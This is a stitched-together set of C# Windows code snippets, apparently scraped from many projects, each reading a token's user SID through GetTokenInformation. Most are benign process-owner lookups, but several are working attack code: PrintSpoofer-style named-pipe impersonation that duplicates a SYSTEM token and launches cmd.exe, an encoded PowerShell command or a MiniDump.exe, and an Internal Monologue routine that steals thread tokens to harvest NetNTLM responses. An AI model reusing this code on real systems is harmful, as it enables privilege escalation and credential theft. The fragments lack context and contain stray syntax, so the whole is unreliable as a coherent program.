//Retrieves the SID of a given token public static string GetLogonId(IntPtr token) { string SID = null; try { StringBuilder sb = new StringBuilder(); int TokenInfLength = 1024; IntPtr TokenInformation = Marshal.AllocHGlobal(TokenInfLength); Boolean Result = GetTokenInformation(token, 1, TokenInformation, TokenInfLength, out TokenInfLength); if (Result) { TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); IntPtr pstr = IntPtr.Zero; Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr); SID = Marshal.PtrToStringAuto(pstr); LocalFree(pstr); } Marshal.FreeHGlobal(TokenInformation); return(SID); } catch { CloseHandle(token); return(null); } }
private static string GetSID(IntPtr token) { bool Result; int TokenInfLength = 0; string sidAsString = String.Empty; // first call gets lenght of TokenInformation Result = GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, TokenInfLength, out TokenInfLength); IntPtr TokenInformation = Marshal.AllocHGlobal(TokenInfLength); Result = GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenUser, TokenInformation, TokenInfLength, out TokenInfLength); if (Result) { TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); IntPtr pstr = IntPtr.Zero; Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr); sidAsString = Marshal.PtrToStringAuto(pstr); LocalFree(pstr); } Marshal.FreeHGlobal(TokenInformation); return(sidAsString); }
public static byte[] GetSIDByteArr(IntPtr processHandle) { int MAX_INTPTR_BYTE_ARR_SIZE = 512; IntPtr tokenHandle; byte[] sidBytes; // Get the Process Token if (!OpenProcessToken(processHandle, TOKEN_READ, out tokenHandle)) { throw new ApplicationException("Could not get process token. Win32 Error Code: " + Marshal.GetLastWin32Error()); } uint tokenInfoLength = 0; bool result; result = GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, tokenInfoLength, out tokenInfoLength); // get the token info length IntPtr tokenInfo = Marshal.AllocHGlobal((int)tokenInfoLength); result = GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUser, tokenInfo, tokenInfoLength, out tokenInfoLength); // get the token info // Get the User SID if (result) { TOKEN_USER tokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenInfo, typeof(TOKEN_USER)); sidBytes = new byte[MAX_INTPTR_BYTE_ARR_SIZE]; // Since I don't yet know how to be more precise w/ the size of the byte arr, it is being set to 512 Marshal.Copy(tokenUser.User.Sid, sidBytes, 0, MAX_INTPTR_BYTE_ARR_SIZE); // get a byte[] representation of the SID } else { throw new ApplicationException("Could not get process token. Win32 Error Code: " + Marshal.GetLastWin32Error()); } return(sidBytes); }
static void Main(string[] args) { if (args.Length == 0) { Console.WriteLine("Usage: PrintSpooferNet.exe pipename"); return; } string pipeName = args[0]; IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero); ConnectNamedPipe(hPipe, IntPtr.Zero); ImpersonateNamedPipeClient(hPipe); IntPtr hToken; OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken); int TokenInfLength = 0; GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength); IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength); GetTokenInformation(hToken, 1, TokenInformation, TokenInfLength, out TokenInfLength); TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); IntPtr pstr = IntPtr.Zero; Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr); string sidstr = Marshal.PtrToStringAuto(pstr); Console.WriteLine(@"Found sid {0}", sidstr); }
public static string GetProcessUser(IntPtr hProcess, RunningProcess pre) { int MAX_INTPTR_BYTE_ARR_SIZE = 512; IntPtr tokenHandle; byte[] sidBytes; try { winaudits.AdjustPrevilege.AddDebugPrevilege(); // Get the Process Token if (!OpenProcessToken(hProcess, TOKEN_READ, out tokenHandle)) { return(null); } uint tokenInfoLength = 0; bool result; result = GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, tokenInfoLength, out tokenInfoLength); // get the token info length IntPtr tokenInfo = Marshal.AllocHGlobal((int)tokenInfoLength); result = GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUser, tokenInfo, tokenInfoLength, out tokenInfoLength); // get the token info // Get the User SID if (result) { TOKEN_USER tokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenInfo, typeof(TOKEN_USER)); sidBytes = new byte[MAX_INTPTR_BYTE_ARR_SIZE]; // Since I don't yet know how to be more precise w/ the size of the byte arr, it is being set to 512 Marshal.Copy(tokenUser.User.Sid, sidBytes, 0, MAX_INTPTR_BYTE_ARR_SIZE); // get a byte[] representation of the SID var sid = new SecurityIdentifier(sidBytes, 0); if (sid != null) { pre.SID = sid.ToString(); if (sid.IsAccountSid() == true) { pre.SIDType = "Account SID"; } else { pre.SIDType = "WellKnown"; } } return(GetUserNameFromSID(sidBytes)); } } catch (Exception) { return(null); } return(null); }
static void Main(string[] args) { if (args.Length == 0) { Console.WriteLine("Usage: PrintSpooferNet.exe pipename"); return; } string pipeName = args[0]; // Create pipe that waits for incoming pipe clients to impersonate IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero); ConnectNamedPipe(hPipe, IntPtr.Zero); ImpersonateNamedPipeClient(hPipe); // Open impersonated token and obtain SID associated with token IntPtr hToken; OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken); int TokenInfLength = 0; GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength); IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength); GetTokenInformation(hToken, 1, TokenInformation, TokenInfLength, out TokenInfLength); TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); IntPtr pstr = IntPtr.Zero; Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr); string sidstr = Marshal.PtrToStringAuto(pstr); Console.WriteLine(@"Found sid {0}", sidstr); // Convert impersonation token to a primary token IntPtr hSystemToken = IntPtr.Zero; DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken); // Create environment for user without interactive logon StringBuilder sbSystemDir = new StringBuilder(256); uint res1 = GetSystemDirectory(sbSystemDir, 256); IntPtr env = IntPtr.Zero; bool res = CreateEnvironmentBlock(out env, hSystemToken, false); String name = WindowsIdentity.GetCurrent().Name; Console.WriteLine("Impersonated user is: " + name); RevertToSelf(); // Create new process with primary token PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = "WinSta0\\Default"; res = CreateProcessWithTokenW(hSystemToken, (uint)LogonFlags.WithProfile, null, "C:\\Windows\\Temp\\MiniDump.exe", (uint)CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref si, out pi); }
static void Main(string[] args) { PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = "WinSta0\\Default"; if (args.Length == 0) { Console.WriteLine("Usage: PipeImpersonate.exe pipename"); return; } string pipeName = args[0]; IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero); ConnectNamedPipe(hPipe, IntPtr.Zero); ImpersonateNamedPipeClient(hPipe); IntPtr hToken; OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken); int TokenInfoLength = 0; GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfoLength, out TokenInfoLength); IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfoLength); GetTokenInformation(hToken, 1, TokenInformation, TokenInfoLength, out TokenInfoLength); TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); IntPtr pstr = IntPtr.Zero; Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr); string sidstr = Marshal.PtrToStringAuto(pstr); Console.WriteLine(@"Found sid {0}", sidstr); IntPtr hSystemToken = IntPtr.Zero; DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken); StringBuilder sbSystemDir = new StringBuilder(256); uint res1 = GetSystemDirectory(sbSystemDir, 256); IntPtr env = IntPtr.Zero; bool res = CreateEnvironmentBlock(out env, hSystemToken, false); String name = WindowsIdentity.GetCurrent().Name; Console.WriteLine("Impersonated user is: " + name); RevertToSelf(); CreateProcessWithTokenW(hSystemToken, (uint)LogonFlags.WithProfile, null, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -enc <command>", (uint)CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref si, out pi); }
private bool GetUser(IntPtr accessToken, out string username, out string domain) { uint tokenInfoSize = 0; if (GetTokenInformation(accessToken, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, tokenInfoSize, out tokenInfoSize) || Marshal.GetLastWin32Error() == ERROR_INSUFFICIENT_BUFFER) { IntPtr tokenInfo = Marshal.AllocHGlobal((int)tokenInfoSize); try { if (GetTokenInformation(accessToken, TOKEN_INFORMATION_CLASS.TokenUser, tokenInfo, tokenInfoSize, out tokenInfoSize)) { TOKEN_USER user = (TOKEN_USER)Marshal.PtrToStructure(tokenInfo, typeof(TOKEN_USER)); uint usernameSize = UNLEN + 1; StringBuilder usernameBuffer = new StringBuilder((int)usernameSize); uint domainSize = DNLEN + 1; StringBuilder domainBuffer = new StringBuilder((int)domainSize); int peUse; if (LookupAccountSid(null, user.User.Sid, usernameBuffer, ref usernameSize, domainBuffer, ref domainSize, out peUse)) { username = usernameBuffer.ToString(); domain = domainBuffer.ToString(); return(true); } else { Error("LookupAccountSid"); } } else { Error("GetTokenInformation"); } } finally { Marshal.FreeHGlobal(tokenInfo); } } else { Error("GetTokenInformation"); } username = null; domain = null; return(false); }
static void Main(string[] args) { if (args.Length == 0) { Console.WriteLine("Usage: PrintSpooferNet.exe pipename"); return; } string pipeName = args[0]; // Create pipe that waits for incoming pipe clients to impersonate IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero); ConnectNamedPipe(hPipe, IntPtr.Zero); ImpersonateNamedPipeClient(hPipe); // Open impersonated token and obtain SID associated with token IntPtr hToken; OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken); int TokenInfLength = 0; GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength); IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength); GetTokenInformation(hToken, 1, TokenInformation, TokenInfLength, out TokenInfLength); TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); IntPtr pstr = IntPtr.Zero; Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr); string sidstr = Marshal.PtrToStringAuto(pstr); Console.WriteLine(@"Found sid {0}", sidstr); // Convert impersonation token to a primary token IntPtr hSystemToken = IntPtr.Zero; DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken); // Create new process with primary token PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); CreateProcessWithTokenW(hSystemToken, 0, null, "C:\\Windows\\System32\\cmd.exe", 0, IntPtr.Zero, null, ref si, out pi); }
public static string GetProcessUserName(System.Diagnostics.Process process = null) { if (process == null) { process = System.Diagnostics.Process.GetCurrentProcess(); } if (process.HasExited) { return(""); } SafeTokenHandle hToken = null; try { if (!NativeMethods.OpenProcessToken(process.Handle, NativeMethods.TOKEN_QUERY, out hToken)) { return(""); } } catch (Exception) { return(""); } uint TokenInfLength = 0; bool Result; // first call gets lenght of TokenInformation Result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, TokenInfLength, out TokenInfLength); IntPtr TokenInformation = Marshal.AllocHGlobal(int.Parse(TokenInfLength.ToString())); Result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, TokenInformation, TokenInfLength, out TokenInfLength); if (Result) { TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); var a = new System.Security.Principal.SecurityIdentifier(TokenUser.User.Sid); return(a.Translate(typeof(System.Security.Principal.NTAccount)).ToString()); } return(""); }
public static string GetProcessSID(System.Diagnostics.Process process = null) { if (process == null) { process = System.Diagnostics.Process.GetCurrentProcess(); } SafeTokenHandle hToken = null; try { if (!NativeMethods.OpenProcessToken(process.Handle, NativeMethods.TOKEN_QUERY, out hToken)) { return(""); } } catch (Exception) { return(""); } uint TokenInfLength = 0; bool Result; // first call gets lenght of TokenInformation Result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, TokenInfLength, out TokenInfLength); IntPtr TokenInformation = Marshal.AllocHGlobal(int.Parse(TokenInfLength.ToString())); Result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, TokenInformation, TokenInfLength, out TokenInfLength); if (Result) { TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); IntPtr pstr = IntPtr.Zero; Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr); string sidstr = Marshal.PtrToStringAuto(pstr); LocalFree(pstr); return(sidstr); } return(""); }
public static AccessTokenUser FromTokenHandle(AccessTokenHandle handle) { uint tokenInfLength = 0; bool success; IntPtr hToken = handle.GetHandle(); success = Advapi32.GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, tokenInfLength, out tokenInfLength); IntPtr tokenInfo = Marshal.AllocHGlobal(Convert.ToInt32(tokenInfLength)); success = Advapi32.GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, tokenInfo, tokenInfLength, out tokenInfLength); if (success) { TOKEN_USER tokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenInfo, typeof(TOKEN_USER)); int length = Convert.ToInt32(Advapi32.GetLengthSid(tokenUser.User.Sid)); byte[] sid = new byte[length]; Marshal.Copy(tokenUser.User.Sid, sid, 0, length); StringBuilder sbUser = new StringBuilder(); uint cchName = (uint)sbUser.Capacity; StringBuilder sbDomain = new StringBuilder(); uint cchReferencedDomainName = (uint)sbDomain.Capacity; SID_NAME_USE peUse; var user = ""; var domain = ""; if (Advapi32.LookupAccountSid(null, sid, sbUser, ref cchName, sbDomain, ref cchReferencedDomainName, out peUse)) { user = sbUser.ToString(); domain = sbDomain.ToString(); } else { var err = Kernel32.GetLastError(); if (err == Constants.ERROR_INSUFFICIENT_BUFFER) { sbUser.EnsureCapacity((int)cchName); sbDomain.EnsureCapacity((int)cchReferencedDomainName); if (Advapi32.LookupAccountSid(null, sid, sbUser, ref cchName, sbDomain, ref cchReferencedDomainName, out peUse)) { user = sbUser.ToString(); domain = sbDomain.ToString(); } else { Logger.GetInstance().Error($"Failed to retrieve user for access token. LookupAccountSid failed with error: {err}"); user = "******"; domain = "UNKNOWN"; } } else { Logger.GetInstance().Error($"Failed to retrieve user for access token. LookupAccountSid failed with error: {err}"); user = "******"; domain = "UNKNOWN"; } } Marshal.FreeHGlobal(tokenInfo); return(new AccessTokenUser(user, domain, peUse)); } else { Marshal.FreeHGlobal(tokenInfo); Logger.GetInstance().Error($"Failed to retreive token information for access token. GetTokenInformation failed with error: {Kernel32.GetLastError()}"); throw new TokenInformationException(); } }
} // find winapi method public string RunningUserName() { //if (Marshal.GetLastWin32Error() == 5) //{ // //access denied // return null; // //throw new UnauthorizedAccessException(); //} //Open access token //move outside uint TokenRead = 0x00020008; bool atSuccess = Win32Api.OpenProcessToken(_pHandle, TokenRead, out MySafeHandle tokenH); if (!atSuccess) { return(null); //throw new Exception(Marshal.GetLastWin32Error().ToString()); } var tokenUser = new TOKEN_USER(); uint tokenLength = 0; bool Result; // first call gets length of TokenInformation, // shows error but returns tokenlength Result = Win32Api.GetTokenInformation(tokenH, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, (uint)tokenLength, out tokenLength); IntPtr tokenUserPtr = Marshal.AllocHGlobal((int)tokenLength); //make it easier with elevationPtr var tokenInfo = Win32Api.GetTokenInformation(tokenH, TOKEN_INFORMATION_CLASS.TokenUser, tokenUserPtr, tokenLength, out uint returnedSize); if (!tokenInfo) { throw new Exception(Marshal.GetLastWin32Error().ToString()); } ///According to: https://technet.microsoft.com/en-us/library/cc770642.aspx, ///https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/naming-conventions-for-computer-domain-site-ou /// ///Max username 20 symbols ///Max domainname 15 symbols tokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenUserPtr, typeof(TOKEN_USER)); var bufferSize = 20; var userName = new StringBuilder(bufferSize); var domainNameSize = 15; var domainName = new StringBuilder(domainNameSize); int accountType = 0; var accountSuccess = Win32Api.LookupAccountSid(null, tokenUser.User.Sid, userName, ref bufferSize, domainName, ref domainNameSize, ref accountType); //Check domainname and username length if (accountSuccess == 0) { throw new Exception(Marshal.GetLastWin32Error().ToString()); } return(userName.ToString()); }
/// <summary> /// Extracts Token information from a thread's memory by wrapping GetTokenInformation(). Returns token information specified by the tokenInformationClass param /// </summary> /// <param name="hToken"></param> /// <param name="tokenInformationClass"></param> /// <returns>String containing the requested token information</returns> static string QueryToken(IntPtr hToken, TOKEN_INFORMATION_CLASS tokenInformationClass) { int tokenInformationLength = 0; // First need to get the length of TokenInformation - won't return true bool result = GetTokenInformation(hToken, tokenInformationClass, IntPtr.Zero, tokenInformationLength, out tokenInformationLength); // Buffer for the struct IntPtr tokenInformation = Marshal.AllocHGlobal(tokenInformationLength); // Make call to GetTokenInformation() and get particular Struct switch (tokenInformationClass) { case TOKEN_INFORMATION_CLASS.TokenUser: // Store the requested token information in the buffer result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, tokenInformation, tokenInformationLength, out tokenInformationLength); if (result) { // Marshal the buffer to TOKEN_USER Struct TOKEN_USER tokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_USER)); // Extract SID from the TOKEN_USER struct IntPtr pSID = IntPtr.Zero; ConvertSidToStringSid(tokenUser.User.Sid, out pSID); string SID = Marshal.PtrToStringAuto(pSID); return(SID); } else { return(null); } case TOKEN_INFORMATION_CLASS.TokenPrivileges: result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenPrivileges, tokenInformation, tokenInformationLength, out tokenInformationLength); if (result) { TOKEN_PRIVILEGES tokenPrivileges = (TOKEN_PRIVILEGES)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_PRIVILEGES)); StringBuilder stringBuilder = new StringBuilder(); for (int i = 0; i < tokenPrivileges.PrivilegeCount; i++) { // Bitwise AND comparison to check that each token privilege attribute for SE_PRIVILEGE_ENABLED if (((LUID_ATTRIBUTES)tokenPrivileges.Privileges[i].Attributes & LUID_ATTRIBUTES.SE_PRIVILEGE_ENABLED) == LUID_ATTRIBUTES.SE_PRIVILEGE_ENABLED) { // Append the privilege to the stringBuilder stringBuilder.Append($", {tokenPrivileges.Privileges[i].Luid.LowPart.ToString()}"); } } return(stringBuilder.ToString().Remove(0, 2)); } else { return(null); } case TOKEN_INFORMATION_CLASS.TokenIntegrityLevel: // Mandatory Level SIDs for QueryToken() // https://support.microsoft.com/en-au/help/243330/well-known-security-identifiers-in-windows-operating-systems#allsids Dictionary <string, string> tokenIntegritySIDs = new Dictionary <string, string> { { "S-1-16-0", "Untrusted Mandatory Level" }, { "S-1-16-4096", "Low Mandatory Level" }, { "S-1-16-8192", "Medium Mandatory Level" }, { "S-1-16-8448", "Medium Plus Mandatory Level" }, { "S-1-16-12288", "High Mandatory Level" }, { "S-1-16-16384", "System Mandatory Level" }, { "S-1-16-20480", "Protected Process Mandatory Level" }, { "S-1-16-28672", "Secure Process Mandatory Level" } }; result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, tokenInformation, tokenInformationLength, out tokenInformationLength); if (result) { TOKEN_MANDATORY_LABEL tokenMandatoryLabel = (TOKEN_MANDATORY_LABEL)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_MANDATORY_LABEL)); // Extract SID string from TOKEN_MANDATORY_LABEL IntPtr pSID = IntPtr.Zero; ConvertSidToStringSid(tokenMandatoryLabel.label.Sid, out pSID); string SID = Marshal.PtrToStringAuto(pSID); if (tokenIntegritySIDs.ContainsKey(SID)) { return(tokenIntegritySIDs[SID]); } else { return(null); } } else { return(null); } case TOKEN_INFORMATION_CLASS.TokenOrigin: result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenOrigin, tokenInformation, tokenInformationLength, out tokenInformationLength); if (result) { TOKEN_ORIGIN tokenOrigin = (TOKEN_ORIGIN)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_ORIGIN)); string logonId = tokenOrigin.OriginatingLogonSession.LowPart.ToString(); return(logonId); } else { return(null); } } return(null); }
//Returns the SID of the user the process is running as, //otherwise, null if the process has exited or access is denied to the process internal static string GetProcessUserSid(Process process) { //If this is a well known process (specifically the System and Idle kernel processes) //Assume you are running as system. This is also special cased by the OS. if (process.Id == 0 || process.Id == 4) { return(new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null).Value); } SafeProcessHandle processToken = SafeProcessHandle.InvalidHandle; IntPtr tokenPtr = IntPtr.Zero; TOKEN_USER userToken = new TOKEN_USER(); string userSid = null; IntPtr hProcess = IntPtr.Zero; try { //HACK: For Vista it is possible to get the user SID for any process when running with administrator privileges. // however downlevel you have to be running as system to get the sid for processes that are running as // LocalService or NetworkService. // The correct thing to do here would be to delegate the call on downlevel systems to ExecutionService. // Alternatively we can use the undocumented WinStationGetProcessSid API in winsta.dll which is used by // task manager which does an RPC call to a system process. Because it is undocumented I was not successful in // getting the pinvoke interop working. // As a workaround for downlevel OSes we assume that processes that we can not get the access token to are running // as LocalService. This should still allow application logic to differentiate between user, system, and service // processes which is the primary goal of this API. int processAccessLevel = Environment.OSVersion.Version.Major > 6 ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION; hProcess = OpenProcess(processAccessLevel, false, process.Id); if (hProcess == IntPtr.Zero) { //the process has exited or access to the process is denied //(running less then admin or locked down process such as audiodg on Vista) return(null); } if (!OpenProcessToken(hProcess, TokenAccessLevels.Query, out processToken)) { //Access Denied - assume the process is running as LocalService (see hack comment above) return(new SecurityIdentifier(WellKnownSidType.LocalServiceSid, null).Value); } //Get the size of the structure uint userTokenSize = 0; GetTokenInformation(processToken, TokenInformationClass.TokenUser, IntPtr.Zero, 0, out userTokenSize); //The call above will fail with the error "Data Size too small", but will return the right size if (userTokenSize == 0) { throw new Win32Exception(); } //Retrieve the token data tokenPtr = Marshal.AllocHGlobal((int)userTokenSize); if (!GetTokenInformation(processToken, TokenInformationClass.TokenUser, tokenPtr, userTokenSize, out userTokenSize)) { throw new Win32Exception(); } //Marshall the pointer to the structure Marshal.PtrToStructure(tokenPtr, userToken); //Retrieve the sid ConvertSidToStringSid(userToken.User.Sid, out userSid); } finally { //Free used resources if (hProcess != IntPtr.Zero) { CloseHandle(hProcess); } Marshal.FreeHGlobal(tokenPtr); processToken.Close(); } return(userSid); }
public static void HandleThread(ProcessThread thread, string challenge, bool verbose) { string SID = null; try { //Try to get thread handle var handle = OpenThread(0x0040, true, new IntPtr(thread.Id)); //If failed, return if (handle == IntPtr.Zero) { return; } //Duplicate thread token var token = IntPtr.Zero; var dupToken = IntPtr.Zero; if (OpenThreadToken(handle, 0x0002, true, ref token)) { var sa = new SECURITY_ATTRIBUTES(); sa.nLength = Marshal.SizeOf(sa); DuplicateTokenEx( token, 0x0002 | 0x0008, ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, (int)1, ref dupToken); CloseHandle(token); try { //Get the SID of the token StringBuilder sb = new StringBuilder(); int TokenInfLength = 1024; IntPtr TokenInformation = Marshal.AllocHGlobal(TokenInfLength); Boolean Result = GetTokenInformation(dupToken, 1, TokenInformation, TokenInfLength, out TokenInfLength); if (Result) { TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); IntPtr pstr = IntPtr.Zero; Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr); SID = Marshal.PtrToStringAuto(pstr); LocalFree(pstr); } Marshal.FreeHGlobal(TokenInformation); } catch (Exception e) { CloseHandle(dupToken); CloseHandle(handle); } } //Handle each available user only once if (SID != null && authenticatedUsers.Contains(SID) == false) { try { //Impersonate user using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(dupToken)) { if (verbose == true) { Console.WriteLine("Impersonated user " + WindowsIdentity.GetCurrent().Name); } string result = ByteArrayToString(InternalMonologueForCurrentUser(challenge)); //Ensure there is a valid response and not a blank if (result != null && result.Length > 0) { Console.WriteLine(WindowsIdentity.GetCurrent().Name + ":" + challenge + ":" + result); authenticatedUsers.Add(SID); } else if (verbose == true) { Console.WriteLine("Got blank response for user " + WindowsIdentity.GetCurrent().Name); } } } catch (Exception e) { /*Does not need to do anything if it fails*/ } finally { CloseHandle(dupToken); CloseHandle(handle); } } } catch (Exception) { /*Does not need to do anything if it fails*/ } }